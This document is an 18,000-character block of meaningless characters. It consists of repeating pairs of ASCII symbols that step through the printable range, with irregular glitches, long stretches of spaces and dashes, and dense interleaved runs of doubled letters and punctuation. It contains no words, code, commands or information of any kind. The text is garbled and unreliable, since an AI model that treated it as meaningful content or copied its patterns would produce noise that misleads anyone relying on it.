~}~}~}~}~}{|{|{|{|{|{|{{{{yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijihghghghghghghghefefefefefefefefdcdcdcdccdcdcdcdbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKLKIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:7878787878787878565656565656565643434343343434342121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}{|{|{|{|{{|{|{|{yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefdcdcdcdccdcdcdcdbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKKLKLKLKLKIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656434343333434343421212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}{|{|{|{||{|{|{|{yzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcccccdcdcdcdcdcdbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKKKKLKLKLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656333434343434343421212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}{|{|{|{{|{|{|{|{yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststsrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcdcdcdcdcdcdcdcdbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}{{{{|{|{|{|{|{|{yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmlklklklklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcdcdcdcdccccccdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKKKKKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343333434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434344343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{{{{{{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434344343434321212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefcdccccccdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKKKKKKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656333333434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{|{|{|{{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqpopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghefefefefefefefefdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:78787878787878785656565656565656434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}|{{{{{{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklkjijijijijijijijijijijijghghghghghghghghefefefefefefedcddcdcdcdcdcdcccccbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMLKLKKLKLKLKLKLKKKKKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787878785656565656543434434343434333334321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}~}~}{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefcdcdccccdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKKKKKKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787878785656565634333333434343434343432121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        ~}~}~}~}~}~}|{|{{|{|{|{|{|{|{|{yyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghgfefefefefccdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMNMKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878787876565656565643434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!               - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - - - -          - - - - - - - - - - - -             - - - - - - - - - -              - - - - - - - -             - - - - - - - -             - - - - - - - -           - - - - - - - -         - - - - - - - -LLKKJJII55667788mmnnooppZZYYXXWW@@AABBCC~}CBBAA@@?<==>>??@tuuvvwwx]\\[[ZZY%$$##""!LMMNNOOPMLLKKJJI$%%&&''(\]]^^__`uttssrrq=<<;;::945566778lmmnnoopeddccbba-,,++**) DEEFFGGH|}}~~FEEDDCCB GHHIIJJKxxwwvvuu;;::9987==>>??@@uuvvwwxx\\[[ZZYY$$##""!!MMNNOOPPLLKKJJII%%&&''((]]^^__``ttssrrqq<<;;::9955667788mmnnooppddccbbaa,,++**)) EEFFGGHH}}~~EEDDCCBB HHIIJJKKxwwvvuut;::99876 =>>??@@Auvvwwxxy\[[ZZYYX$##""!! MNNOOPPQLKKJJIIH%&&''(()]^^__``atssrrqqp<;;::99856677889mnnooppqdccbbaa`,++**))( EFFGGHHI}~~EDDCCBBA -HIIJJKKQwwvvuutt::998765 >>??@@AAvvwwxxyy[[ZZYYXX##""!! NNOOPPQQKKJJIIHH&&''(())^^__``aassrrqqpp;;::998866778899nnooppqqccbbaa``++**))((FFGGHHII~~DDCCBBAA - -IIJJKKQQ~~}}HHGGFFEE 99::;;<>==<<; - - @AABBCCDxyyzz{{|YXXWWVVU! PQQRRSST~~}IHHGGFFE ())**++,`aabbccdqppoonnm98877665899::;; - - KQQRRSSTttssrrqq65433221 - - AABBCCDDyyzz{{||XXWWVVUU QQRRSSTT~~}}HHGGFFEE ))**++,,aabbccddppoonnmm8877665599::;;<> - - QQRRSSTTtssrrqqp54332211 - - ABBCCDDEyzz{{||}XWWVVUUT QRRSSTTU~~}}|HGGFFEED )**++,,-abbccddepoonnmml877665549::;;<<=qrrssttu`__^^]]\(''&&%%$IJJKKLLMA@@??>>= - QRRSSTTUssrrqqpp43322110 - - BBCCDDEEzz{{||}}WWVVUUTTRRSSTTUU~~}}||GGFFEEDD **++,,--bbccddeeoonnmmll77665544::;;<<==rrssttuu__^^]]\\''&&%%$$JJKKLLMM@@??>>== RRSSTTUU||{{zzyyDDCCBBAA - - ==>>??@@uuvvwwxxRRQQKKJJ - - HHIIJJKKxwwvvuut;::99876 DEEFFGGH|}}~~UTTSSRRQ TUUVVWWX}||{{zzyEDDCCBBA - - ,--..//0deeffgghmllkkjji54433221<==>>??@tuuvvwwx]\\[[ZZY%$$##""!LMMNNOOP>==<<;;: TUUVVWWXppoonnmm100//..- EEFFGGHH}}~~TTSSRRQQ UUVVWWXX||{{zzyyDDCCBBAA - - --..//00eeffgghhllkkjjii44332211==>>??@@uuvvwwxx\\[[ZZYY$$##""!!MMNNOOPP==<<;;::UUVVWWXXpoonnmml00//..-- EFFGGHHI}~~TSSRRQQP !UVVWWXXY|{{zzyyxDCCBBAA@ - - -..//001effgghhilkkjjiih43322110 =>>??@@Auvvwwxxy\[[ZZYYX$##""!! MNNOOPPQ{=<<;;::9UVVWWXXYoonnmmll0//..--,FFGGHHII~~SSRRQQPP !!VVWWXXYY{{zzyyxxCCBBAA@@ - - ..//0011ffgghhiikkjjiihh33221100 >>??@@AAvvwwxxyy[[ZZYYXX##""!! NNOOPPQQ{{<<;;::99VVWWXXYYxxwwvvuu@@??>>== - - AABBCCDDyyzz{{||IIHHGGFF - - QQRRSSTTtssrrqqp54332211HIIJJKKLQPPOONNM !!""##$XYYZZ[[\yxxwwvvuA@@??>>= 01122334hiijjkklihhggffe100//..- - - @AABBCCDxyyzz{{|YXXWWVVU! PQQRRSST{{zzyyx:9933221XYYZZ[[\llkkjjii-,,++**)IIJJKKLLPPOONNMM!!""##$$YYZZ[[\\xxwwvvuu@@??>>==11223344iijjkkllhhggffee00//..-- - - AABBCCDDyyzz{{||XXWWVVUU QQRRSSTT{{zzyyxx99332211YYZZ[[\\lkkjjiih,,++**))IJJKKLLMPOONNMML!""##$$%YZZ[[\\]xwwvvuut@??>>==<12233445ijjkkllmhggffeed0//..--, - - ABBCCDDEyzz{{||}XWWVVUUT QRRSSTTU{zzyyxxw93322110YZZ[[\\]kkjjiihg,++**))(JJKKLLMMOONNMMLL""##$$%%ZZ[[\\]]wwvvuutt??>>==<<22334455jjkkllmmggffeedd//..--,, - - BBCCDDEEzz{{||}}WWVVUUTTRRSSTTUUzzyyxxww33221100ZZ[[\\]]ttssrrqq<<;;::99 EEFFGGHH}}~~EEDDCCBBUUVVWWXXpoonnmml00//..--LMMNNOOPMLLKKJJI$%%&&''(\]]^^__`uttssrrq=<<;;::945566778lmmnnoopeddccbba-,,++**) DEEFFGGH|}}~~UTTSSRRQ TUUVVWWXxwwvvuut100//..-\]]^^__`hgfedccb)((''&&%MMNNOOPPLLKKJJII%%&&''((]]^^__``ttssrrqq<<;;::9955667788mmnnooppddccbbaa,,++**)) EEFFGGHH}}~~TTSSRRQQ UUVVWWXXwwvvuutt00//..--]]^^__``gfedccbb((''&&%%MNNOOPPQLKKJJIIH%&&''(()]^^__``atssrrqqp<;;::99856677889mnnooppqdccbbaa`,++**))( EFFGGHHI}~~TSSRRQQP !UVVWWXXYwvvuutts0//..--,]^^__``afedccbba(''&&%%$NNOOPPQQKKJJIIHH&&''(())^^__``aassrrqqpp;;::998866778899nnooppqqccbbaa``++**))((FFGGHHII~~SSRRQQPP !!VVWWXXYYvvuuttss//..--,,^^__``aappoonnmm88776655IIJJKKLLAA@@??>>YYZZ[[\\lkkjjiih,,++**))PQQRRSST~~}IHHGGFFE ())**++,`aabbccdqppoonnm98877665899::;;>??@tuuvvwwx]\\[[ZZY%$$##""!LMMNNOOPMLLKKJJI$%%&&''(\]]^^__`poonnmml)((''&&%"##$$%%&ijjkkllm^]]\\[[Z!  UUVVWWXX||{{zzyyDDCCBBAA - - --..//00eeffgghhllkkjjii44332211==>>??@@uuvvwwxx\\[[ZZYY$$##""!!MMNNOOPPLLKKJJII%%&&''((]]^^__``oonnmmll((''&&%%##$$%%&&jjkkllmm]]\\[[ZZ  !UVVWWXXY|{{zzyyxDCCBBAA@ - - -..//001effgghhilkkjjiih43322110 =>>??@@Auvvwwxxy\[[ZZYYX$##""!! MNNOOPPQLKKJJIIH%&&''(()]^^__``aonnmmllk(''&&%%$#$$%%&&'jkkllmmn]\\[[ZZY !!VVWWXXYY{{zzyyxxCCBBAA@@ - - ..//0011ffgghhiikkjjiihh33221100 >>??@@AAvvwwxxyy[[ZZYYXX##""!! NNOOPPQQKKJJIIHH&&''(())^^__``aannmmllkk''&&%%$$$$%%&&''kkllmmnnhhggffee00//..--QQRRSSTT{{zzyyxx99332211!!""aabbcciiaa``__^^$$##""!! !!""##$XYYZZ[[\yxxwwvvuA@@??>>= 01122334hiijjkklihhggffe100//..- - - @AABBCCDxyyzz{{|YXXWWVVU! PQQRRSST~~}IHHGGFFE ())**++,`aabbccdlkkjjiic%$$##""!&''(())*mnnooppqZYYXXWWV!!""##$$YYZZ[[\\xxwwvvuu@@??>>==11223344iijjkkllhhggffee00//..-- - - AABBCCDDyyzz{{||XXWWVVUU QQRRSSTT~~}}HHGGFFEE ))**++,,aabbccddkkjjiicc$$##""!!''(())**nnooppqqYYXXWWVV!""##$$%YZZ[[\\]xwwvvuut@??>>==<12233445ijjkkllmhggffeed0//..--, - - ABBCCDDEyzz{{||}XWWVVUUT QRRSSTTU~~}}|HGGFFEED )**++,,-abbccddekjjiiccb$##""!!'(())**+nooppqqrYXXWWVVU""##$$%%ZZ[[\\]]wwvvuutt??>>==<<22334455jjkkllmmggffeedd//..--,, - - BBCCDDEEzz{{||}}WWVVUUTTRRSSTTUU~~}}||GGFFEEDD **++,,--bbccddeejjiiccbb##""!!(())**++ooppqqrrwvvuuttsddccbbaa,,++**)) UUVVWWXXwwvvuutt00//..--##$$%%&&jjkkllmm]]\\[[ZZ $%%&&''(\]]^^__`uttssrrq=<<;;::945566778lmmnnoopeddccbba-,,++**) DEEFFGGH|}}~~UTTSSRRQ TUUVVWWX}||{{zzyEDDCCBBA - - ,--..//0deeffgghcbbaa``_!*++,,--.qrrssttuVUUTTSSR%%&&''((]]^^__``ttssrrqq<<;;::9955667788mmnnooppddccbbaa,,++**)) EEFFGGHH}}~~TTSSRRQQ UUVVWWXX||{{zzyyDDCCBBAA - - --..//00eeffgghhbbaa``__++,,--..rrssttuuUUTTSSRR%&&''(()]^^__``atssrrqqp<;;::99856677889mnnooppqdccbbaa`,++**))( EFFGGHHI}~~TSSRRQQP !UVVWWXXY|{{zzyyxDCCBBAA@ - - -..//001effgghhibaa``__^+,,--../rssttuuvUTTSSRRQ&&''(())^^__``aassrrqqpp;;::998866778899nnooppqqccbbaa``++**))((FFGGHHII~~SSRRQQPP !!VVWWXXYY{{zzyyxxCCBBAA@@ - - ..//0011ffgghhiiaa``__^^,,--..//ssttuuvvsrrqqppo``__^^]]((''&&%%!!""##$$YYZZ[[\\ssrrqqpp,,++**))''(())**nnooppqqYYXXWWVV())**++,`aabbccdqppoonnm98877665899::;;>= 01122334hiijjkkl_^^]]\\[.//00112uvvwwxxyRQQPONML))**++,,aabbccddppoonnmm8877665599::;;<>==11223344iijjkkll^^]]\\[[//001122vvwwxxyyQQPONMLK)**++,,-abbccddepoonnmml877665549::;;<<=qrrssttu`__^^]]\(''&&%%$IJJKKLLMPOONNMML!""##$$%YZZ[[\\]xwwvvuut@??>>==<12233445ijjkkllm^]]\\[[Z/0011223vwwxxyyzQPONMLKK**++,,--bbccddeeoonnmmll77665544::;;<<==rrssttuu__^^]]\\''&&%%$$JJKKLLMMOONNMMLL""##$$%%ZZ[[\\]]wwvvuutt??>>==<<22334455jjkkllmm]]\\[[ZZ00112233wwxxyyzzonnmmllk\\[[ZZYY$$##""!!%%&&''((]]^^__``oonnmmll((''&&%%++,,--..rrssttuuUUTTSSRR,--..//0deeffgghmllkkjji54433221<==>>??@tuuvvwwx]\\[[ZZY%$$##""!LMMNNOOPMLLKKJJI$%%&&''(\]]^^__`uttssrrq=<<;;::945566778lmmnnoop[ZZYYXXW23399::;yzz{{KKJJIIHH --..//00eeffgghhllkkjjii44332211==>>??@@uuvvwwxx\\[[ZZYY$$##""!!MMNNOOPPLLKKJJII%%&&''((]]^^__``ttssrrqq<<;;::9955667788mmnnooppZZYYXXWW3399::;;zz{{KJJIIHHG --..//001effgghhilkkjjiih43322110 =>>??@@Auvvwwxxy\[[ZZYYX$##""!! MNNOOPPQLKKJJIIH%&&''(()]^^__``atssrrqqp<;;::99856677889mnnooppqZYYXXWWV399::;;>??@@AAvvwwxxyy[[ZZYYXX##""!! NNOOPPQQKKJJIIHH&&''(())^^__``aassrrqqpp;;::998866778899nnooppqqYYXXWWVV99::;;<<{{kjjiihgfXXWWVVUU ))**++,,aabbccddkkjjiicc$$##""!!//001122vvwwxxyyQQPONMLK01122334hiijjkklihhggffe100//..- - - @AABBCCDxyyzz{{|YXXWWVVU! PQQRRSST~~}IHHGGFFE ())**++,`aabbccdqppoonnm98877665899::;;>?GGFFEEDD - - 11223344iijjkkllhhggffee00//..-- - - AABBCCDDyyzz{{||XXWWVVUU QQRRSSTT~~}}HHGGFFEE ))**++,,aabbccddppoonnmm8877665599::;;<>??GFFEEDDC - 12233445ijjkkllmhggffeed0//..--, - - ABBCCDDEyzz{{||}XWWVVUUT QRRSSTTU~~}}|HGGFFEED )**++,,-abbccddepoonnmml877665549::;;<<=qrrssttuVUUTTSSR <==>>??@FFEEDDCC 22334455jjkkllmmggffeedd//..--,, - - BBCCDDEEzz{{||}}WWVVUUTTRRSSTTUU~~}}||GGFFEEDD **++,,--bbccddeeoonnmmll77665544::;;<<==rrssttuuUUTTSSRR ==>>??@@edccbbaaTTSSRRQQ--..//00eeffgghhbbaa``__3399::;;zz{{KJJIIHHG -45566778lmmnnoopeddccbba-,,++**) DEEFFGGH|}}~~UTTSSRRQ TUUVVWWX}||{{zzyEDDCCBBA - - ,--..//0deeffgghmllkkjji54433221<==>>??@tuuvvwwxSRRQQKKJ - - ?@@AABBC~CCBBAA@@55667788mmnnooppddccbbaa,,++**)) EEFFGGHH}}~~TTSSRRQQ UUVVWWXX||{{zzyyDDCCBBAA - - --..//00eeffgghhllkkjjii44332211==>>??@@uuvvwwxxRRQQKKJJ - - @@AABBCC~}CBBAA@@?56677889mnnooppqdccbbaa`,++**))( EFFGGHHI}~~TSSRRQQP !UVVWWXXY|{{zzyyxDCCBBAA@ - - -..//001effgghhilkkjjiih43322110 =>>??@@AuvvwwxxyRQQKKJJI - - 